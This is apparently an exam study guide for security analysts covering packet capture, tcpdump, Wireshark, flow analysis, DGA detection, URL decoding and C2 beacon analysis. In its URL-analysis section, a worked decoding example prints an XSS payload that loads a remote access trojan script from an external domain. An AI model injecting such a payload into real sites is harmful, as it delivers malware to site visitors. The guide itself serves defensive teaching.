1

Network Capture Infrastructure — SPAN, TAPs & Sniffers

Network traffic must be captured and decoded before it can be analyzed. This requires a pipeline: a mechanism to copy frames off the wire, and a tool to record and inspect them. Network-related IOCs can be gathered from packet captures, traffic flow data, logs, and alerts.

SPAN / mirror ports

A Switched Port Analyzer (SPAN) port — also called a mirror port — is a switch or router configuration that copies all ingress and/or egress traffic from one or more ports to a designated monitoring port. Everything entering or leaving the monitored port is duplicated to the SPAN port, where a capture tool can record it without disrupting the live traffic flow.

Network TAPs

A network TAP (Test Access Point) is a hardware device inserted inline in a network cable segment. It passively copies traffic off the wire to a monitoring port. Both passive (no power required, copies via optical splitting) and active versions exist. TAPs are more reliable than SPAN ports for high-volume capture because they cannot be oversubscribed by the switch.

Packet sniffers

A packet sniffer is any hardware or software tool that records data from frames as they pass over the network, using a SPAN port or TAP as its input source. When software-based, it places the network interface card into promiscuous mode — accepting all frames on the segment, not just those addressed to itself.

Sniffer placement strategy

Recommended: inside the firewall
The firewall pre-filters internet noise. Placing the sniffer inside lets you focus only on traffic that has already passed the perimeter — what actually reached your network. Far less data volume, far higher signal-to-noise ratio.
Avoid: outside the firewall
Placement outside the firewall captures all raw internet traffic destined for your IP range. Volume is overwhelming and most of it is blocked anyway — you would be drowning in noise before seeing anything useful.
Granular: in front of a specific server
For a high-value target (e.g. a database server), place a dedicated sniffer directly in front of it. Much smaller data set — only traffic to and from that one host — enabling detailed forensic analysis of exactly that asset.
You do not need to know the switch configuration commands for setting up a SPAN port for the exam. Understand the concept — mirror port copies traffic to a monitoring port — and that placement inside the firewall is the correct default position for most deployments.
2

tcpdump — Command-Line Packet Capture

tcpdump is a command-line packet analyzer available on Linux and macOS (installed by default). It places the NIC into promiscuous mode, captures frames, and can display them to screen or save them to a PCAP file for later analysis. It requires administrative/root privileges to run.

Exam scope: You do not need to know all tcpdump command options. You should understand that tcpdump and Wireshark are used together — tcpdump captures to PCAP files, Wireshark provides GUI-based analysis of those files. Know the basic filtering concepts.

Common tcpdump patterns

tcpdump — key command patterns
# Live capture — all traffic on interface en0 (mac) / eth0 (linux)
$ sudo tcpdump -i en0

# Filter by source IP — only show packets FROM this host
$ sudo tcpdump src 10.128.1.130

# Save capture to a PCAP file (not displayed on screen)
$ sudo tcpdump -w host130.pcap src 10.128.1.130

# Read back a saved PCAP file for analysis
$ sudo tcpdump -r host130.pcap

# Filter by source port when reading back from file
$ sudo tcpdump src port 5475 -r host130.pcap

# Show packet contents in hex + ASCII (payload inspection)
$ sudo tcpdump -x src port 5475 -r host130.pcap

# View all options
$ man tcpdump

Filtering: collection-time vs. post-collection

Filter at collection time
When you know what you want
If you already know what you're hunting — a specific source IP, a suspicious port, traffic to a known C2 server — filter during collection. Only matching packets are written to disk, dramatically reducing storage requirements on large enterprise networks.
Filter after collection
When you're still discovering
If you haven't yet identified the IOCs, collect everything first and filter later. Storage-intensive, but necessary when you don't know what you're looking for yet. Use targeted queries during read-back (-r) to isolate patterns as they emerge.

The -x flag (hex + ASCII display) is especially useful when traffic is unencrypted — protocols like FTP, HTTP, and Telnet send credentials and content in plain text, making the payload directly readable in the packet output.

3

Wireshark — Protocol Analysis & the OSI Layers

Wireshark is a free, open-source GUI-based packet analyzer. It reads PCAP files (captured by tcpdump or directly via its own capture engine) and decodes every frame into its individual OSI layer components. Each packet can be fully dissected to reveal MAC addresses, IP addresses, transport protocol, and application-layer content.

What Wireshark reveals at each OSI layer

L5–6
Session / Presentation
Typically not directly visible as discrete layers in Wireshark — handled transparently within application protocols.
L7
Application
Full request/response content: HTTP GET requests, FTP commands, Telnet sessions (username, password, commands typed). Use "Follow TCP Stream" to reconstruct the entire conversation.
L4
Transport (TCP/UDP)
TCP or UDP protocol, source and destination port numbers, TCP flags (SYN, SYN-ACK, ACK — the three-way handshake), window size, sequence numbers.
L3
Network (IP)
Source and destination IP addresses (IPv4 or IPv6), IP version, header length, TTL, fragmentation. The internet routing layer.
L2
Data Link (Ethernet)
Source and destination MAC addresses, encapsulation type (Ethernet II), frame length, arrival timestamp. The local network addressing layer.
Memory aid for the exam: Layer 2 = MAC addresses. Layer 3 = IP addresses. Layer 4 = TCP/UDP + ports. Layer 7 = application content (HTTP, FTP, Telnet). Wireshark shows all four simultaneously for every captured packet.

The "Follow TCP Stream" function

Right-clicking any packet in Wireshark and selecting "Follow TCP Stream" reconstructs the complete bidirectional conversation between client and server — all packets belonging to that session stitched back together in chronological order. Client traffic appears in one color, server responses in another. For unencrypted protocols this reveals the full session content, including plaintext credentials and commands. This is the primary tool for understanding what happened during a captured session.

HTTP stream reveals
Full GET/POST requests, server hostname, browser user-agent, referrer page, and the complete HTML of the returned webpage — reconstructable into a viewable page.
Telnet stream reveals
Usernames and passwords typed during login, every command executed on the remote server, and all output returned. Telnet transmits everything in plaintext — it is completely transparent to a packet capture.
FTP stream reveals
Login credentials, file transfer commands, and raw file data. Transferred binary files can be extracted from the raw hex/ASCII stream and reconstructed outside of Wireshark.
Encryption is the defence: HTTPS, SFTP, and SSH encrypt session content — "Follow TCP Stream" on encrypted traffic shows only ciphertext. This is why migrating from Telnet → SSH and HTTP → HTTPS are fundamental security hardening steps. An analyst can still see metadata (IPs, ports, timing, data volume) even for encrypted traffic.
4

Full Packet Capture vs. Flow Analysis

Capturing every byte on a busy enterprise network generates enormous amounts of data — gigabytes per day on even a modest home network. Two complementary approaches manage this storage problem differently.

Full Packet Capture (FPC)
📦Captures the complete packet — header AND payload — for every frame on the wire.
🔍Maximum forensic detail: you can reconstruct sessions, extract files, read credentials.
💾Enormous storage cost — several GB/day for a typical home network; TB/day on enterprise links.
🛠Tools: tcpdump (-w), Wireshark live capture.
Flow Analysis
📊Records metadata and statistics about traffic flows — not the packet contents.
🔍Shows who talked to whom, on which ports, for how long, and how much data was exchanged.
💾Fraction of FPC storage — ideal for long-term retention and trend analysis.
🛠Tools: NetFlow/IPFIX, Zeek, MRTG.

Flow analysis tools

NetFlow / IPFIX
Cisco-developed · became the standard
Reports network flow information to a structured database. Defines a flow as packets sharing the same source IP, destination IP, source port, destination port, and protocol. Provides metadata but not payload. Visualized via tools like SolarWinds. IPFIX is the IETF-standardized version of NetFlow.
Zeek
Hybrid — passively monitors, selectively captures
Passively monitors like a sniffer but logs full packet capture only for traffic flagged as interesting. Normalizes all data into tab-delimited or JSON-formatted text files, making it easily importable into SIEM platforms like Splunk. Best of both worlds: metadata for everything, full capture for anomalies.
MRTG
Multi Router Traffic Grapher
Polls routers and switches via SNMP to generate time-series graphs of traffic volume through each interface. Excellent for spotting traffic volume anomalies — e.g. an unexplained spike between 2–4 AM that could indicate a scheduled backup or active data exfiltration.
MRTG spike scenario: An anomalous traffic spike at 2–4 AM does not by itself confirm data exfiltration — it could be a legitimate off-hours backup. The correct response is to generate a hypothesis and follow up with targeted packet capture in front of the relevant server to determine whether the traffic was known-good or malicious.
5

IP & DNS Analysis — Known-Bad IPs and DGAs

Many intrusions rely on C2 servers to download additional tools and exfiltrate data. A core analyst task is therefore monitoring traffic for external host access requests — analyzing the IP addresses and DNS resolutions that emerge. Reputation-based threat feeds (Ch. 3) are almost entirely IP and DNS based.

Known-bad IP and URL block lists

Historically, malware contained a static IP or DNS name hardcoded into its code. Defenders would identify it, add it to a block list, and the malware would stop working — until the attacker registered a new domain, at which point the cycle repeated. This whack-a-mole approach to IP block lists drove attackers to develop a more sophisticated evasion method.

Domain Generation Algorithms (DGA)

A Domain Generation Algorithm is a method used by malware to evade block lists by dynamically generating domain names for C2 communication rather than using a static address. Both the malware and the C2 server use the same algorithm and seed value, so they independently arrive at the same list of domain names — without that list ever being hardcoded.

1
Attacker registers dynamic DNS services
Signs up with a DDNS provider using fake credentials or a permissive host that tolerates illicit activity. This creates the infrastructure that will receive the dynamically generated domain names.
2
Malware implements the DGA
The malware code contains the DGA algorithm and a shared seed value (e.g. based on a start date or time). Running the algorithm produces a list of cryptic, randomized domain names — the same list the C2 server will generate independently.
3
C2 server registers the generated names in DDNS
Using the same algorithm and seed, the C2 operator runs a parallel DGA and registers the resulting domain names in the DDNS service, pointing them to the C2 server IP address.
4
Malware iterates through generated domains to connect
The infected host tries each generated domain name in sequence until it successfully reaches the C2 server. A small seed offset means a few attempts may fail before connecting — this spread of attempts is itself a detection signal.
5
C2 server delivers a new seed over time
To prevent reverse-engineering and pre-emptive blocking, the C2 server periodically rotates the DGA seed. The cycle of generated names changes, invalidating any block list built against the previous seed.

Detecting a DGA / fast flux network

A fast flux network is the broader evasion architecture — the C2 infrastructure that continuously changes IP addresses in DNS records using DGA. Two strong detection signals exist:

Signal 1
Random-looking domain names
DGA-generated domains look like A1ZWBR93.com — random strings of letters and numbers. Real businesses don't register names like this. Any domain callout that looks machine-generated should be investigated immediately.
Signal 2
High rate of NXDOMAIN errors
When malware iterates through a DGA list, many generated domains have already been abandoned and deregistered — producing NXDOMAIN ("server not found") DNS errors. A spike of NXDOMAIN errors from a single host in your proxy or DNS logs is a strong DGA indicator.
Mitigation: Use a secure recursive DNS resolver — a trusted DNS server that performs recursive lookups through other trusted servers. Providers maintaining awareness of current DGA patterns will automatically block generated domains, protecting your network without requiring individual manual block-list updates.
6

URL Analysis — HTTP Methods, Response Codes & Percent Encoding

A major portion of a cybersecurity analyst's work involves examining URLs in proxy logs to determine what websites were visited and what data was transmitted. URLs can encode both actions and data — and that encoding can be weaponized to smuggle malicious payloads past naive filters.

URL analysis is the process of determining whether a link is already flagged on a reputation list, and if not, identifying what malicious script or activity might be embedded within it — without executing that code in a live environment.

HTTP request methods

MethodPurposeForensic significance
GETRetrieve a resource from the serverStandard page load. Parameters visible in URL after ?
POSTSend data to the server for processing by a resource (e.g. a PHP script)Data submission — may contain form input, file uploads, or injected payloads
PUTCreate or replace a resource on the serverFile upload to a specific path — watch for PUT to unexpected locations
DELETERemove a resource from the serverDestructive action — unauthorized DELETE requests indicate possible web shell activity
HEADRetrieve headers only, ignoring the bodyBanner grabbing by pen testers — identifies server software and version without downloading page content

Data submitted via URL is separated from the resource path by a question mark (?), with individual parameters formatted as name=value pairs delimited by ampersands (&). A hash (#) indicates a fragment anchor processed client-side only — but it can be misused to inject JavaScript.

HTTP response codes

2xx — Success
200
OK — successful GET or POST
201
Created — successful PUT
3xx — Redirect
301
Moved permanently
302
Temporary redirect
4xx — Client error
400
Bad request — could not be parsed
401
Unauthorized — no credentials supplied
403
Forbidden — insufficient permissions
404
Not found — resource does not exist
5xx — Server error
500
Internal server error
502
Bad gateway (proxy)
503
Service unavailable — overload
504
Gateway timeout

Percent encoding (URL encoding)

Percent encoding allows unsafe or reserved characters to be transmitted within a URL by representing them as %XX where XX is the two-digit hexadecimal ASCII value. This is legitimate — but it is also a primary obfuscation technique used by attackers to hide malicious payloads from signature-based filters.

Analyst alert: Whenever you see percent-encoded sequences in a URL, treat it as a flag. Someone may be hiding something. Decode it before deciding whether it is benign. Double encoding (encoding the % sign itself) adds another layer of obfuscation — seen in the real world but not tested on the exam.

Common percent-encoding values to know

EncodedCharacterSignificance in URL analysis
%20spaceMost common encoding — separates parameters or words
%22"Double quote — seen in attribute injection (SRC="...")
%27'Single quote — key indicator of SQL injection attempts
%3C<Opening angle bracket — begins HTML/script tags (XSS indicator)
%3D=Equal sign — used in SQL (WHERE x=) and attribute assignment
%3E>Closing angle bracket — closes HTML/script tags (XSS indicator)
%2F/Forward slash — used in directory traversal attacks (../)
%3A:Colon — used in protocol specifiers (http:)

Decoding a malicious URL — worked example

URL percent-encoding decode walkthrough
# Suspicious URL found in proxy log:
diontraining.com/upload.php?post=%3Cscript%20SRC%3D%22http%3A%2F%2Fabc123.com%2Frat.js%22%3E%3C%2Fscript%3E

# Breaking it down:
diontraining.com/upload.php ← target site + PHP script resource
?post= ← HTTP POST method, submitting data
%3C = < (open angle bracket)
script = "script" (plain text, readable)
%20 = [space]
SRC = "SRC" attribute
%3D%22 = =" (equals + open quote)
http%3A%2F%2F = http:// (protocol)
abc123.com%2Frat.js = abc123.com/rat.js ← EXTERNAL MALICIOUS JS FILE
%22%3E%3C%2Fscript%3E = "></script> (closes the tag)

# Decoded payload:
<script SRC="http://abc123.com/rat.js"></script>

# Verdict: XSS injection attempt — trying to load a Remote Access Trojan script
# from an external domain into the upload.php page if it is vulnerable.
Exam strategy for URL analysis questions: You don't need to memorize every percent-encoding value. On a multiple-choice question, readable words like script, SELECT, or domain names will still be visible inside the encoded string. Look for those anchors first to infer the attack type — then use the percent values you do know (%3C/%3E = angle brackets, %27 = single quote) to confirm. Always perform URL analysis in a sandbox — never click or execute an unknown URL directly.
7

Conducting Packet Analysis — Live Malware Beaconing

Packet analysis during a live incident combines process monitoring with network capture to correlate what a process is doing with where it is sending traffic. The goal is to develop concrete IOCs — specific IP addresses, ports, and DNS names — that can be blocked at the firewall and used to identify other infected hosts.

The analysis workflow

Step 1 — Correlate timestamps
Align process monitor timestamps with Wireshark capture times. In Wireshark: View → Time Display Format → Time of Day converts relative capture time to wall-clock time, enabling direct correlation with process events.
Step 2 — Identify DNS lookups
When the suspected process starts, look for DNS queries in Wireshark — standard query records showing which domains the process is resolving. These domain names are candidate IOCs.
Step 3 — Follow TCP connections
Identify the TCP connections established after DNS resolution. Use "Follow TCP Stream" to inspect what was transmitted. Note the destination IP addresses — these are the C2 server candidates.
Step 4 — Document and block
Build a list of malicious IPs, domains, and ports observed. Block them at the firewall — even if the stage-one dropper is already installed, blocking C2 communication prevents it from fetching and installing stage-two malware.

Beacon pattern recognition

Malware C2 communication is often periodic — the implant "beacons" back to the C2 server at regular intervals (e.g., every 60 seconds or every 3 minutes) to check for commands. This regularity is itself a detection signal: legitimate application traffic is rarely this precisely timed. When you observe callouts to the same external IP at suspiciously regular intervals, especially to multiple sequential IPs (the malware rotating through DGA-generated addresses), you are likely observing an active C2 beacon.

Stage-one vs. stage-two malware: Many real-world implants are delivered in two stages. Stage one (the dropper) is a small, low-profile executable that establishes C2 communication. Stage two (the full implant) is downloaded and installed via that C2 channel and contains the actual attack capability. Blocking C2 communication at the firewall breaks the kill chain between stages — the stage-one dropper can't collect its payload.

Exam

Quick Reference Cheat Sheet

SPAN / TAP / sniffer
SPAN = mirror port (switch config). TAP = inline hardware device. Sniffer = software using promiscuous mode. Place inside firewall for manageable data volume.
tcpdump key flags
-i interface, -w write to file, -r read from file, -x hex+ASCII payload. Filter by src, dst, port. Exam: understand concept, not memorize commands.
Wireshark OSI layers
L2 = MAC addresses. L3 = IP addresses. L4 = TCP/UDP + ports. L7 = application content. "Follow TCP Stream" reconstructs full sessions. Telnet/FTP/HTTP = plaintext = credential exposure.
FPC vs. flow analysis
FPC = full header + payload, massive storage. Flow = metadata only (who, where, when, how much), compact. NetFlow/IPFIX = metadata. Zeek = hybrid. MRTG = visual traffic graphs via SNMP polling.
DGA detection
Random-looking domain names (A1ZWBR93.com) + high NXDOMAIN error rate = DGA indicator. Fast flux = DGA + rapidly changing C2 IPs. Mitigation: secure recursive DNS resolver.
HTTP methods
GET = retrieve. POST = send data for processing. PUT = create/replace resource. DELETE = remove. HEAD = headers only (banner grab). Data after ?, pairs as name=value, & separates pairs.
HTTP response codes
2xx = success. 3xx = redirect. 4xx = client error (401 = no auth, 403 = forbidden, 404 = not found). 5xx = server error (500 = general, 503 = overloaded).
Percent encoding
%20=space, %3C=<, %3E=>, %27=' (SQL inject), %22=" (XSS). Seeing percent encoding = flag for obfuscation. Always decode before judging. Analyze in sandbox.
Beacon analysis
Correlate process timestamps with Wireshark capture. Identify DNS queries → TCP connections → C2 IPs. Block C2 IPs at firewall to sever stage-one → stage-two dropper communication.